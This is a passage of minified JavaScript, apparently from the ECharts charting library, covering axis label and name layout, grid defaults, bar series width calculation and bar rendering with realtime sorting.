l=a.getModel("lineStyle"),u=i*a.get("length"),c=A(l.getLineStyle(),A(r.getModel("axisTick").getLineStyle(),{stroke:r.get(["axisLine","lineStyle","color"])})),h=0;h<s.length;h++)for(var f=PS(s[h],n.transform,u,c,"minorticks_"+h),p=0;p<f.length;p++)e.add(f[p])}(t,i,o,r,t.tickDirection)},axisName:function(t,e,n,r,i,o,a,s){var l=n.ensureRecord(r);e.nameEl&&(i.remove(e.nameEl),e.nameEl=l.nameLayout=l.nameLocation=null);var u=t.axisName;if(zS(u)){var c=t.nameLocation,h=t.nameDirection,f=r.getModel("nameTextStyle"),p=r.get("nameGap")||0,d=r.axis.getExtent(),g=r.axis.inverse?-1:1,v=new Se(0,0),y=new Se(0,0);"start"===c?(v.x=d[0]-g*p,y.x=-g):"end"===c?(v.x=d[1]+g*p,y.x=g):(v.x=(d[0]+d[1])/2,v.y=t.labelOffset+h*p,y.y=h);var m=[1,0,0,1,0,0];y.transform(_e(m,m,t.rotation));var _,x,b=r.get("nameRotate");null!=b&&(b=b*vS/180),yx(c)?_=CS.innerTextLayout(t.rotation,null!=b?b:t.rotation,h):(_=function(t,e,n,r){var i,o,a=go(n-t),s=r[0]>r[1],l="start"===e&&!s||"start"!==e&&s;vo(a-vS/2)?(o=l?"bottom":"top",i="center"):vo(a-1.5*vS)?(o=l?"top":"bottom",i="center"):(o="middle",i=a<1.5*vS&&a>vS/2?l?"left":"right":l?"right":"left");return{rotation:a,textAlign:i,textVerticalAlign:o}}(t.rotation,c,b||0,d),null!=(x=t.raw.axisNameAvailableWidth)&&(x=Math.abs(x/Math.sin(_.rotation)),!isFinite(x)&&(x=null)));var w=f.getFont(),S=r.get("nameTruncate",!0)||{},M=S.ellipsis,T=rt(t.raw.nameTruncateMaxWidth,S.maxWidth,x),k=s.nameMarginLevel||0,C=new yl({x:v.x,y:v.y,rotation:_.rotation,silent:CS.isLabelSilent(r),style:Oh(f,{text:u,font:w,overflow:"truncate",width:T,ellipsis:M,fill:f.getTextColor()||r.get(["axisLine","lineStyle","color"]),align:f.get("align")||_.textAlign,verticalAlign:f.get("verticalAlign")||_.textVerticalAlign}),z2:1});if(xh({el:C,componentModel:r,itemName:u}),C.__fullText=u,C.anid="name",r.get("triggerEvent")){var I=CS.makeAxisEventDataBase(r);I.targetType="axisName",I.name=u,Dl(C).eventData=I}o.add(C),C.updateTransform(),e.nameEl=C;var D=l.nameLayout=rw({label:C,priority:C.z2,defaultAttr:{ignore:C.ignore},marginDefault:yx(c)?yS[k]:mS[k]});if(l.nameLocation=c,i.add(C),C.decomposeTransform(),t.shouldNameMoveOverlap&&D){var A=n.ensureRecord(r);0,n.resolveAxisNameOverlap(t,n,r,D,y,A)}}}};function AS(t,e,n,r,i,o,a,s){RS(e)||function(t,e,n,r,i,o){var a=i.axis,s=rt(t.raw.axisLabelShow,i.get(["axisLabel","show"])),l=new Bi;n.add(l);var u=Tb(r);if(!s||a.scale.isBlank())return void NS(e,[],l,u);var c=i.getModel("axisLabel"),h=a.getViewLabels(u),f=(rt(t.raw.labelRotate,c.get("rotate"))||0)*vS/180,p=CS.innerTextLayout(t.rotation,f,t.labelDirection),d=i.getCategories&&i.getCategories(!0),g=[],v=i.get("triggerEvent"),y=1/0,m=-1/0;E(h,function(t,e){var n,r=t.tick,s=t.formattedLabel,u=t.rawLabel,f=c,_=bx(a.scale,r);if(d&&d[_]){var x=d[_];j(x)&&x.textStyle&&(f=new Jh(x.textStyle,c,i.ecModel))}var b=f.getTextColor()||i.get(["axisLine","lineStyle","color"]),w=f.getShallow("align",!0)||p.textAlign,S=it(f.getShallow("alignMinLabel",!0),w),M=it(f.getShallow("alignMaxLabel",!0),w),T=f.getShallow("verticalAlign",!0)||f.getShallow("baseline",!0)||p.textVerticalAlign,k=it(f.getShallow("verticalAlignMinLabel",!0),T),C=it(f.getShallow("verticalAlignMaxLabel",!0),T),I=10+((null===(n=r.time)||void 0===n?void 0:n.level)||0);y=Math.min(y,I),m=Math.max(m,I);var D=new yl({x:0,y:0,rotation:0,silent:CS.isLabelSilent(i),z2:I,style:Oh(f,{text:s,align:0===e?S:e===h.length-1?M:w,verticalAlign:0===e?k:e===h.length-1?C:T,fill:X(b)?b("category"===a.type?u:"value"===a.type?_+"":_,e):b})});D.anid="label_"+_;var A=_S(D);if(A.labelInfo=t,A.layoutRotation=p.rotation,xh({el:D,componentModel:i,itemName:s,formatterParamsExtra:{isTruncated:function(){return D.isTruncated},value:u,tickIndex:e}}),v){var L=CS.makeAxisEventDataBase(i);L.targetType="axisLabel",L.value=u,L.tickIndex=e;var P=t.tick.break;if(P){var O=P.parsedBreak;L.break={start:O.vmin,end:O.vmax}}"category"===a.type&&(L.dataIndex=_),Dl(D).eventData=L,P&&function(t,e,n,r){n.on("click",function(n){var i={type:gS,breaks:[{start:r.parsedBreak.breakOption.start,end:r.parsedBreak.breakOption.end}]};i[t.axis.dim+"AxisIndex"]=t.componentIndex,e.dispatchAction(i)})}(i,o,D,P)}g.push(D),l.add(D)});var _=B(g,function(t){return{label:t,priority:_S(t).labelInfo.tick.break?t.z2+(m-y+1):t.z2,defaultAttr:{ignore:t.ignore}}});NS(e,_,l,u)}(t,e,i,s,r,a);var l=e.labelLayoutList;!function(t,e,n,r){var i=e.get(["axisLabel","margin"]);E(n,function(n,o){var a=rw(n);if(a){var s=a.label,l=_S(s);a.suggestIgnore=s.ignore,s.ignore=!1,ci(ES,BS);var u=e.axis;ES.x=u.dataToCoord(bx(u.scale,l.labelInfo.tick)),ES.y=t.labelOffset+t.labelDirection*i,ES.rotation=l.layoutRotation,r.add(ES),ES.updateTransform(),r.remove(ES),ES.decomposeTransform(),ci(s,ES),s.markRedraw(),ew(a,!0),rw(a)}})}(t,r,l,o),t.rotation;var u=t.optionHideOverlap;!function(t,e,n){var r=t.axis,i=t.get(["axisLabel","customValues"]);if(function(t){return"category"===t.type&&0===vx(t.getLabelModel())}(r))return;function o(t,o,a){var s=rw(e[o]),l=rw(e[a]),u=r.scale;if(s&&l){if(null==t){if(!n&&i)return;var c=_S(s.label).labelInfo.tick;if(E_(u)&&c.notNice||z_(u)&&c.offInterval)return void LS(s.label)}if(!1===t||s.suggestIgnore)LS(s.label);else if(l.suggestIgnore)LS(l.label);else{var h=.1;if(!n){var f=[0,0,0,0];s=aw({marginForce:f},s),l=aw({marginForce:f},l)}lw(s,l,null,{touchThreshold:h})&&LS(t?l.label:s.label)}}}var a=t.get(["axisLabel","showMinLabel"]),s=t.get(["axisLabel","showMaxLabel"]),l=e.length;o(a,0,1),o(s,l-1,l-2)}(r,l,u),u&&function(t){var e=[];function n(t){if(!t.ignore){var e=t.ensureState("emphasis");null==e.ignore&&(e.ignore=!1)}t.ignore=!0}t.sort(function(t,e){return(e.suggestIgnore?1:0)-(t.suggestIgnore?1:0)||e.priority-t.priority});for(var r=0;r<t.length;r++){var i=rw(t[r]);if(!i.label.ignore){for(var o=i.label,a=i.labelLine,s=!1,l=0;l<e.length;l++)if(lw(i,e[l],null,{touchThreshold:.05})){s=!0;break}s?(n(o),a&&n(a)):e.push(i)}}}(F(l,function(t){return t&&!t.label.ignore})),function(t,e,n,r){var i,o=n.axis,a=e.ensureRecord(n),s=[],l=zS(t.axisName)&&yx(t.nameLocation);E(r,function(t){var e=rw(t);if(e&&!e.label.ignore){s.push(e);var n=a.transGroup;l&&(n.transform?be(wS,n.transform):ge(wS),e.transform&&ye(wS,wS,e.transform),Be.copy(SS,e.localRect),SS.applyTransform(wS),i?i.union(SS):Be.copy(i=new Be(0,0,0,0),SS))}});var u=Math.abs(a.dirVec.x)>.1?"x":"y",c=a.transGroup[u];if(s.sort(function(t,e){return Math.abs(t.label[u]-c)-Math.abs(e.label[u]-c)}),l&&i){var h=o.getExtent(),f=Math.min(h[0],h[1]),p=Math.max(h[0],h[1])-f;i.union(new Be(f,0,p,1))}a.stOccupiedRect=i,a.labelInfoList=s}(t,n,r,l)}function LS(t){t&&(t.ignore=!0)}function PS(t,e,n,r,i){for(var o=[],a=[],s=[],l=0;l<t.length;l++){var u=t[l].coord;a[0]=u,a[1]=0,s[0]=u,s[1]=n,e&&(Ht(a,a,e),Ht(s,s,e));var c=new Ic({shape:{x1:a[0],y1:a[1],x2:s[0],y2:s[1]},style:r,z2:2,autoBatch:!0,silent:!0});gh(c.shape,c.style.lineWidth),c.anid=i+"_"+t[l].tickValue,o.push(c);var h=xS(c);h.onBand=!!t[l].onBand,h.tickValue=t[l].tickValue}return o}function OS(t,e,n){if(RS(t)){var r=t.axisLabelsCreationContext;0;var i=r.out.noPxChangeTryDetermine;if(n.noPxChange){for(var o=!0,a=0;a<i.length;a++)o=o&&i[a]();if(o)return!1}i.length&&(e.remove(t.labelGroup),NS(t,null,null,null))}return!0}function RS(t){return!!t.labelLayoutList}function NS(t,e,n,r){t.labelLayoutList=e,t.labelGroup=n,t.axisLabelsCreationContext=r}var ES=new pl,BS=new pl;function zS(t){return!!t}function FS(t,e,n){n=n||{};var r=e.axis,i={},o=r.getAxesOnZeroOf()[0],a=r.position,s=o?"onZero":a,l=r.dim,u=[t.x,t.x+t.width,t.y,t.y+t.height],c={left:0,right:1,top:0,bottom:1,onZero:2},h=e.get("offset")||0,f="x"===l?[u[2]-h,u[3]+h]:[u[0]-h,u[1]+h];if(o){var p=o.toGlobalCoord(o.dataToCoord(0));f[c.onZero]=Math.max(Math.min(p,f[1]),f[0])}i.position=["y"===l?f[c[s]]:u[0],"x"===l?f[c[s]]:u[3]],i.rotation=Math.PI/2*("x"===l?0:1);i.labelDirection=i.tickDirection=i.nameDirection={top:-1,bottom:1,left:-1,right:1}[a],i.labelOffset=o?f[c[a]]-f[c.onZero]:0,e.get(["axisTick","inside"])&&(i.tickDirection=-i.tickDirection),rt(n.labelInside,e.get(["axisLabel","inside"]))&&(i.labelDirection=-i.labelDirection);var d=e.get(["axisLabel","rotate"]);return i.labelRotate="top"===s?-d:d,i.z2=1,i}function VS(){var t;t=HS,Bx["liPosMinGap"]=t}function HS(t,e,n){var r,i=vt(),o=n.serUids,a=n.liPosMinGap,s=e.axis,l=s.scale,u=l.needTransform(),c=l.getFilter?l.getFilter():null,h=Qd(c);function f(n){Rx(t,e.sers,function(t){var e=t.getRawData(),r=e.getDimensionIndex(e.mapDimension(s.dim));r>=0&&n(r,t,e.getStore())})}var p=0;if(f(function(t,e,n){i.set(e.uid,1),o&&o.hasKey(e.uid)||(r=!0),p+=n.count()}),o&&o.keys().length===i.keys().length||(r=!0),r||null==a){Gw(WS,p);var d=0;f(function(t,e,n){for(var r=0,i=n.count();r<i;++r){var o=n.get(t,r);!isFinite(o)||c&&!Jd(h,o)||(u&&(o=l.transformIn(o,null)),WS.arr[d++]=o)}});var g=WS.typed?WS.arr.subarray(0,d):(WS.arr.length=d,WS.arr);WS.typed?g.sort():lo(g);for(var v=1/0,y=1;y<d;++y){var m=g[y]-g[y-1];m>0&&m<v&&(v=m)}n.liPosMinGap=e.liPosMinGap=Co(v)?v:d>0?-2:-1,n.serUids=i}else e.liPosMinGap=a}var WS=Gw({ctor:Hw},50);function GS(t,e){return t+kx+e}function US(t){return VS(),{liPosMinGap:!z_(t.scale)}}var XS="bar";function YS(t,e,n,r){!function(t,e){var n=Fx(e.seriesType,e.baseAxis,e.coordSysType);Vx.set(n,e),Tx(t,function(){t.registerProcessor(t.PRIORITY.PROCESSOR.AXIS_STATISTICS,{overallReset:Ex})})}(t,{key:e,seriesType:n,coordSysType:r,getMetrics:US})}var qS={left:0,right:0,top:0,bottom:0},ZS=["25%","25%"],jS="cartesian2d",KS=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e.prototype.mergeDefaultAndTheme=function(e,n){var r=dp(e.outerBounds);t.prototype.mergeDefaultAndTheme.apply(this,arguments),r&&e.outerBounds&&pp(e.outerBounds,r)},e.prototype.mergeOption=function(e,n){t.prototype.mergeOption.apply(this,arguments),this.option.outerBounds&&e.outerBounds&&pp(this.option.outerBounds,e.outerBounds)},e.type="grid",e.dependencies=["xAxis","yAxis"],e.layoutMode="box",e.defaultOption={show:!1,z:0,left:"15%",top:65,right:"10%",bottom:80,containLabel:!1,outerBoundsMode:"auto",outerBounds:qS,outerBoundsContain:"all",outerBoundsClampWidth:ZS[0],outerBoundsClampHeight:ZS[1],backgroundColor:yp.color.transparent,borderWidth:1,borderColor:yp.color.neutral30},e}(vp),$S=sa();function QS(t){return t.get("stack")||"__ec_stack_"+t.seriesIndex}function JS(t,e){var n=function(t,e){var n=GS(e,jS),r=[],i=zb(t,{fromStat:{key:n},min:1});return Ox(t,n,function(t){r.push({barWidth:oo(t.get("barWidth"),i.w),barMaxWidth:oo(t.get("barMaxWidth"),i.w),barMinWidth:oo(t.get("barMinWidth")||(eM(t)?.5:1),i.w),barGap:t.get("barGap"),barCategoryGap:t.get("barCategoryGap"),defaultBarGap:t.get("defaultBarGap"),stackId:QS(t)})}),{bandWidthResult:i,seriesInfo:r}}(t,e);return n.columnMap=function(t){var e,n,r=t.bandWidthResult.w,i=r,o=0,a=[],s={};E(t.seriesInfo,function(t,r){r||(n=t.defaultBarGap||0);var l=t.stackId;xt(s,l)||o++;var u=s[l];u||(u=s[l]={width:0,maxWidth:0},a.push(l));var c=t.barWidth;c&&!u.width&&(u.width=c,c=qi(i,c),i-=c);var h=t.barMaxWidth;h&&(u.maxWidth=h);var f=t.barMinWidth;f&&(u.minWidth=f);var p=t.barGap;null!=p&&(n=p);var d=t.barCategoryGap;null!=d&&(e=d)}),null==e&&(e=Zi(35-4*a.length,15)+"%");var l=oo(e,r),u=oo(n,1),c=(i-l)/(o+(o-1)*u);c=Zi(c,0),E(a,function(t){var e=s[t],n=e.maxWidth,r=e.minWidth;if(e.width){a=e.width;n&&(a=qi(a,n)),r&&(a=Zi(a,r)),e.width=a,i-=a+u*a,o--}else{var a=c;n&&n<a&&(a=qi(n,i)),r&&r>a&&(a=r),a!==c&&(e.width=a,i-=a+u*a,o--)}}),c=Zi(c=(i-l)/(o+(o-1)*u),0);var h,f=0;E(a,function(t){var e=s[t];e.width||(e.width=c),h=e,f+=e.width*(1+u)}),h&&(f-=h.width*u);var p={},d=-f/2;return E(a,function(t){var e=s[t];p[t]=p[t]||{bandWidth:r,offset:d,width:e.width},d+=e.width*(1+u)}),p}(n),n}function tM(t){return{seriesType:t,overallReset:function(e){var n=GS(t,jS);!function(t,e,n){var r=Cx(Ov(t)).keyed,i=r&&r.get(e);i&&i.each(function(t){n(t.axis)})}(e,n,function(e){var r=JS(e,t);Ox(e,n,function(t){var e=r.columnMap[QS(t)];t.getData().setLayout({bandWidth:e.bandWidth,offset:e.offset,size:e.width})})})}}}function eM(t){return t.pipelineContext&&t.pipelineContext.large}function nM(t){return e=GS(t,jS),function(t,n){var r=zb(t,{fromStat:{key:e}});if(Co(r.w2))return[-r.w2/2,r.w2/2]};var e}function rM(t){$S(t,function(){function e(e){var n=GS(e,jS);YS(t,n,e,jS),function(t,e){jx.set(t,e)}(n,nM(e))}e("bar"),e("pictorialBar")})}var iM=function(t){function e(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e.type,n}return n(e,t),e.prototype.getInitialData=function(t,e){return x_(null,this,{useEncodeDefaulter:!0})},e.prototype.getMarkerPosition=function(t,e,n){var r=this.coordinateSystem;if(r&&r.clampData){var i=r.clampData(t),o=r.dataToPoint(i);if(n)E(r.getAxes(),function(t,n){if("category"===t.type&&null!=e){var r=t.getTicksCoords(),a=t.getTickModel().get("alignWithLabel"),s=i[n],l="x1"===e[n]||"y1"===e[n];if(l&&!a&&(s+=1),r.length<2)return;if(2===r.length)return void(o[n]=t.toGlobalCoord(t.getExtent()[l?1:0]));for(var u=void 0,c=void 0,h=1,f=0;f<r.length;f++){var p=r[f].coord,d=f===r.length-1?r[f-1].tickValue+h:r[f].tickValue;if(d===s){c=p;break}if(d<s)u=p;else if(null!=u&&d>s){c=(p+u)/2;break}1===f&&(h=d-r[0].tickValue)}null==c&&(u?u&&(c=r[r.length-1].coord):c=r[0].coord),o[n]=t.toGlobalCoord(c)}});else{var a=this.getData(),s=a.getLayout("offset"),l=a.getLayout("size"),u=r.getBaseAxis().isHorizontal()?0:1;o[u]+=s+l/2}return o}return[NaN,NaN]},e.prototype.__requireStartValue=function(t){return this.getBaseAxis()!==t},e.type="series.__base_bar__",e.defaultOption={z:2,coordinateSystem:"cartesian2d",legendHoverLink:!0,barMinHeight:0,barMinAngle:0,large:!1,largeThreshold:400,progressive:3e3,progressiveChunkMode:"mod",defaultBarGap:"10%"},e}(kg);kg.registerClass(iM);var oM=function(t){function e(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e.type,n}var r,i;return n(e,t),e.prototype.getInitialData=function(){return x_(null,this,{useEncodeDefaulter:!0,createInvertedIndices:!!this.get("realtimeSort",!0)||null})},e.prototype.getProgressive=function(){return!!this.get("large")&&this.get("progressive")},e.prototype.__preparePipelineContext=function(t,e){var n=fa(this,t,e);return n.progressiveRender&&(n.large=!0),n},e.prototype.brushSelector=function(t,e,n){return n.rect(e.getItemLayout(t))},e.type="series."+XS,e.dependencies=["grid","polar"],e.defaultOption=(r=iM.defaultOption,i={clip:!0,roundCap:!1,showBackground:!1,backgroundStyle:{color:"rgba(180, 180, 180, 0.2)",borderColor:null,borderWidth:0,borderType:"solid",borderRadius:0,shadowBlur:0,shadowColor:null,shadowOffsetX:0,shadowOffsetY:0,opacity:1},select:{itemStyle:{borderColor:yp.color.primary,borderWidth:2}},realtimeSort:!1},C(C({},r,!0),i,!0)),e}(iM),aM=function(){this.cx=0,this.cy=0,this.r0=0,this.r=0,this.startAngle=0,this.endAngle=2*Math.PI,this.clockwise=!0},sM=function(t){function e(e){var n=t.call(this,e)||this;return n.type="sausage",n}return n(e,t),e.prototype.getDefaultShape=function(){return new aM},e.prototype.buildPath=function(t,e){var n=e.cx,r=e.cy,i=Math.max(e.r0||0,0),o=Math.max(e.r,0),a=.5*(o-i),s=i+a,l=e.startAngle,u=e.endAngle,c=e.clockwise,h=2*Math.PI,f=c?u-l<h:l-u<h;f||(l=u-(c?h:-h));var p=Math.cos(l),d=Math.sin(l),g=Math.cos(u),v=Math.sin(u);f?(t.moveTo(p*i+n,d*i+r),t.arc(p*s+n,d*s+r,a,-Math.PI+l,l,!c)):t.moveTo(p*o+n,d*o+r),t.arc(n,r,o,l,u,!c),t.arc(g*s+n,v*s+r,a,u-2*Math.PI,u-Math.PI,!c),0!==i&&t.arc(n,r,i,u,l,c)},e}(nl);function lM(t,e,n){return e*Math.sin(t)*(n?-1:1)}function uM(t,e,n){return e*Math.cos(t)*(n?1:-1)}function cM(t,e,n){var r=t.get("borderRadius");if(null==r)return n?{cornerRadius:0}:null;U(r)||(r=[r,r,r,r]);var i=Math.abs(e.r||0-e.r0||0);return{cornerRadius:B(r,function(t){return bi(t,i)})}}var hM=Math.max,fM=Math.min,pM=function(t){function e(){var e=t.call(this)||this;return e.type=XS,e._isFirstFrame=!0,e}return n(e,t),e.prototype.render=function(t,e,n,r){this._model=t,this._removeOnRenderedListener(n),this._updateDrawMode(t);var i=t.get("coordinateSystem");("cartesian2d"===i||"polar"===i)&&(this._progressiveEls=null,this._isLargeDraw?this._renderLarge(t,e,n):this._renderNormal(t,e,n,r))},e.prototype.incrementalPrepareRender=function(t){this._clear(),this._updateDrawMode(t),this._updateLargeClip(t)},e.prototype.incrementalRender=function(t,e){this._progressiveEls=[],this._incrementalRenderLarge(t,e)},e.prototype.eachRendered=function(t){wh(this._progressiveEls||this.group,t)},e.prototype._updateDrawMode=function(t){var e=t.pipelineContext.large;null!=this._isLargeDraw&&e===this._isLargeDraw||(this._isLargeDraw=e,this._clear())},e.prototype._renderNormal=function(t,e,n,r){var i,o=this.group,a=t.getData(),s=this._data,l=t.coordinateSystem,u=l.getBaseAxis();"cartesian2d"===l.type?i=u.isHorizontal():"polar"===l.type&&(i="angle"===u.dim);var c=t.isAnimationEnabled()?t:null,h=function(t,e){var n=t.get("realtimeSort",!0),r=e.getBaseAxis();0;if(n&&"category"===r.type&&"cartesian2d"===e.type)return{baseAxis:r,otherAxis:e.getOtherAxis(r)}}(t,l);h&&this._enableRealtimeSort(h,a,n);var f=t.get("clip",!0)||h,p=l.getArea();o.removeClipPath();var d=t.get("roundCap",!0),g=t.get("showBackground",!0),v=t.getModel("backgroundStyle"),y=v.get("borderRadius")||0,m=[],_=this._backgroundEls,x=r&&r.isInitSort,b=r&&"changeAxisOrder"===r.type;function w(t){var e=bM[l.type](a,t);if(!e)return null;var n=function(t,e,n){var r="polar"===t.type?mc:pl;return new r({shape:IM(e,n,t),silent:!0,z2:0})}(l,i,e);return n.useStyle(v.getItemStyle()),"cartesian2d"===l.type?n.setShape("r",y):n.setShape("cornerRadius",y),m[t]=n,n}a.diff(s).add(function(e){var n=a.getItemModel(e),r=bM[l.type](a,e,n);if(r&&(g&&w(e),a.hasValue(e)&&xM[l.type](r))){var s=!1;f&&(s=dM[l.type](p,r));var v=gM[l.type](t,a,e,r,i,c,u.model,!1,d);h&&(v.forceLabelAnimation=!0),SM(v,a,e,n,r,t,i,"polar"===l.type),x?v.attr({shape:r}):h?vM(h,c,v,r,e,i,!1,!1):Jc(v,{shape:r},t,e),a.setItemGraphicEl(e,v),o.add(v),v.ignore=s}}).update(function(e,n){var r=a.getItemModel(e),S=bM[l.type](a,e,r);if(S){if(g){var M=void 0;0===_.length?M=w(n):((M=_[n]).useStyle(v.getItemStyle()),"cartesian2d"===l.type?M.setShape("r",y):M.setShape("cornerRadius",y),m[e]=M);var T=bM[l.type](a,e);Qc(M,{shape:IM(i,T,l)},c,e)}var k=s.getItemGraphicEl(n);if(a.hasValue(e)&&xM[l.type](S)){var C=!1;if(f&&(C=dM[l.type](p,S))&&o.remove(k),k&&("sector"===k.type&&d||"sausage"===k.type&&!d)&&(k&&rh(k,t,n),k=null),k?ih(k):k=gM[l.type](t,a,e,S,i,c,u.model,!0,d),h&&(k.forceLabelAnimation=!0),b){var I=k.getTextContent();if(I){var D=Fh(I);null!=D.prevValue&&(D.prevValue=D.value)}}else SM(k,a,e,r,S,t,i,"polar"===l.type);x?k.attr({shape:S}):h?vM(h,c,k,S,e,i,!0,b):Qc(k,{shape:S},t,e,null),a.setItemGraphicEl(e,k),k.ignore=C,o.add(k)}else o.remove(k)}}).remove(function(e){var n=s.getItemGraphicEl(e);n&&rh(n,t,e)}).execute();var S=this._backgroundGroup||(this._backgroundGroup=new Bi);S.removeAll();for(var M=0;M<m.length;++M)S.add(m[M]);o.add(S),this._backgroundEls=m,this._data=a},e.prototype._renderLarge=function(t,e,n){this._clear(),kM(t,this.group),this._updateLargeClip(t)},e.prototype._incrementalRenderLarge=function(t,e){this._removeBackground(),kM(e,this.group,this._progressiveEls,!0)},e.prototype._updateLargeClip=function(t){var e=t.get("clip",!0)&&function(t,e,n,r,i){return t?"polar"===t.type?Qw(t,e,n):"cartesian2d"===t.type?$w(t,e,n,r,i):null:null}(t.coordinateSystem,!1,t),n=this.group;e?n.setClipPath(e):n.removeClipPath()},e.prototype._enableRealtimeSort=function(t,e,n){var r=this;if(e.count()){var i=t.baseAxis;if(this._isFirstFrame)this._dispatchInitSort(e,t,n),this._isFirstFrame=!1;else{var o=function(t){var n=e.getItemGraphicEl(t),r=n&&n.shape;return r&&Math.abs(i.isHorizontal()?r.height:r.width)||0};this._onRendered=function(){r._updateSortWithinSameData(e,o,i,n)},n.getZr().on("rendered",this._onRendered)}}},e.prototype._dataSort=function(t,e,n){var r=[];return t.each(t.mapDimension(e.dim),function(t,e){var i=n(e);i=null==i?NaN:i,r.push({dataIndex:e,mappedValue:i,ordinalNumber:t})}),r.sort(function(t,e){return e.mappedValue-t.mappedValue}),{ordinalNumbers:B(r,function(t){return t.ordinalNumber})}},e.prototype._isOrderChangedWithinSameData=function(t,e,n){for(var r=n.scale,i=t.mapDimension(n.dim),o=Number.MAX_VALUE,a=0,s=r.getOrdinalMeta().categories.length;a<s;++a){var l=t.rawIndexOf(i,r.getRawOrdinalNumber(a)),u=l<0?Number.MIN_VALUE:e(t.indexOfRawIndex(l));if(u>o)return!0;o=u}return!1},e.prototype._isOrderDifferentInView=function(t,e){for(var n=e.scale,r=n.getExtent(),i=Math.max(0,r[0]),o=Math.min(r[1],n.getOrdinalMeta().categories.length-1);i<=o;++i)if(t.ordinalNumbers[i]!==n.getRawOrdinalNumber(i))return!0},e.prototype._updateSortWithinSameData=function(t,e,n,r){if(this._isOrderChangedWithinSameData(t,e,n)){var i=this._dataSort(t,n,e);this._isOrderDifferentInView(i,n)&&(this._removeOnRenderedListener(r),r.dispatchAction({type:"changeAxisOrder",componentType:n.dim+"Axis",axisId:n.index,sortInfo:i}))}},e.prototype._dispatchInitSort=function(t,e,n){var r=e.baseAxis,i=this._dataSort(t,r,function(n){return t.get(t.mapDimension(e.otherAxis.dim),n)});n.dispatchAction({type:"changeAxisOrder",componentType:r.dim+"Axis",isInitSort:!0,axisId:r.index,sortInfo:i})},e.prototype.remove=function(t,e){this._clear(this._model),this._removeOnRenderedListener(e)},e.prototype.dispose=function(t,e){this._removeOnRenderedListener(e)},e.prototype._removeOnRenderedListener=function(t){this._onRendered&&(t.getZr().off("rendered",this._onRendered),this._onRendered=null)},e.prototype._clear=function(t){var e=this.group,n=this._data;t&&t.isAnimationEnabled()&&n&&!this._isLargeDraw?(this._removeBackground(),this._backgroundEls=[],n.eachItemGraphicEl(function(e){rh(e,t,Dl(e).dataIndex)})):e.removeAll(),this._data=null,this._isFirstFrame=!0},e.prototype._removeBackground=function(){this.group.remove(this._backgroundGroup),this._backgroundGroup=null},e.type=XS,e}(zg),dM={cartesian2d:function(t,e){var n=e.width<0?-1:1,r=e.height<0?-1:1;n<0&&(e.x+=e.width,e.width=-e.width),r<0&&(e.y+=e.height,e.height=-e.height);var i=t.x+t.width,o=t.y+t.height,a=hM(e.x,t.x),s=fM(e.x+e.width,i),l=hM(e.y,t.y),u=fM(e.y+e.height,o),c=s<a,h=u<l;return e.x=c&&a>i?s:a,e.y=h&&l>o?u:l,e.width=c?0:s-a,e.height=h?0:u-l,n<0&&(e.x+=e.width,e.width=-e.width),r<0&&(e.y+=e.height,e.height=-e.height),c||h},polar:function(t,e){var n=e.r0<=e.r?1:-1;if(n<0){var r=e.r;e.r=e.r0,e.r0=r}var i=fM(e.r,t.r),o=hM(e.r0,t.r0);e.r=i,e.r0=o;var a=i-o<0;if(n<0){r=e.r;e.r=e.r0,e.r0=r}return a}},gM={cartesian2d:function(t,e,n,r,i,o,a,s,l){var u=new pl({shape:I({},r),z2:1});(u.__dataIndex=n,u.name="item",o)&&(u.shape[i?"height":"width"]=0);return u},polar:function(t,e,n,r,i,o,a,s,l){var u=!i&&l?sM:mc,c=new u({shape:r,z2:1});c.name="item";var h,f,p=wM(i);if(c.calculateTextPosition=(h=p,f=({isRoundCap:u===sM}||{}).isRoundCap,function(t,e,n){var r=e.position;if(!r||r instanceof Array)return wi(t,e,n);var i=h(r),o=null!=e.distance?e.distance:5,a=this.shape,s=a.cx,l=a.cy,u=a.r,c=a.r0,p=(u+c)/2,d=a.startAngle,g=a.endAngle,v=(d+g)/2,y=f?Math.abs(u-c)/2:0,m=Math.cos,_=Math.sin,x=s+u*m(d),b=l+u*_(d),w="left",S="top";switch(i){case"startArc":x=s+(c-o)*m(v),b=l+(c-o)*_(v),w="center",S="top";break;case"insideStartArc":x=s+(c+o)*m(v),b=l+(c+o)*_(v),w="center",S="bottom";break;case"startAngle":x=s+p*m(d)+lM(d,o+y,!1),b=l+p*_(d)+uM(d,o+y,!1),w="right",S="middle";break;case"insideStartAngle":x=s+p*m(d)+lM(d,-o+y,!1),b=l+p*_(d)+uM(d,-o+y,!1),w="left",S="middle";break;case"middle":x=s+p*m(v),b=l+p*_(v),w="center",S="middle";break;case"endArc":x=s+(u+o)*m(v),b=l+(u+o)*_(v),w="center",S="bottom";break;case"insideEndArc":x=s+(u-o)*m(v),b=l+(u-o)*_(v),w="center",S="top";break;case"endAngle":x=s+p*m(g)+lM(g,o+y,!0),b=l+p*_(g)+uM(g,o+y,!0),w="left",S="middle";break;case"insideEndAngle":x=s+p*m(g)+lM(g,-o+y,!0),b=l+p*_(g)+uM(g,-o+y,!0),w="right",S="middle";break;default:return wi(t,e,n)}return(t=t||{}).x=x,t.y=b,t.align=w,t.verticalAlign=S,t}),o){var d=i?"r":"endAngle",g={};c.shape[d]=i?r.r0:r.startAngle,g[d]=r[d],(s?Qc:Jc)(c,{shape:g},o)}return c}};function vM(t,e,n,r,i,o,a,s){var l,u;o?(u={x:r.x,width:r.width},l={y:r.y,height:r.height}):(u={y:r.y,height:r.height},l={x:r.x,width:r.width}),s||(a?Qc:Jc)(n,{shape:l},e,i,null),(a?Qc:Jc)(n,{shape:u},e?t.baseAxis.model:null,i)}function yM(t,e){for(var n=0;n<e.length;n++)if(!isFinite(t[e[n]]))return!0;return!1}var mM=["x","y","width","height"],_M=["cx","cy","r","startAngle","endAngle"],xM={cartesian2d:function(t){return!yM(t,mM)},polar:function(t){return!yM(t,_M)}},bM={cartesian2d:function(t,e,n){var r=t.getItemLayout(e);if(!r)return null;var i=n?function(t,e){var n=t.get(["itemStyle","borderColor"]);if(!n||"none"===n)return 0;var r=t.get(["itemStyle","borderWidth"])||0,i=isNaN(e.width)?Number.MAX_VALUE:Math.abs(e.width),o=isNaN(e.height)?Number.MAX_VALUE:Math.abs(e.height);return Math.min(r,i,o)}(n,r):0,o=r.width>0?1:-1,a=r.height>0?1:-1;return{x:r.x+o*i/2,y:r.y+a*i/2,width:r.width-o*i,height:r.height-a*i}},polar:function(t,e,n){var 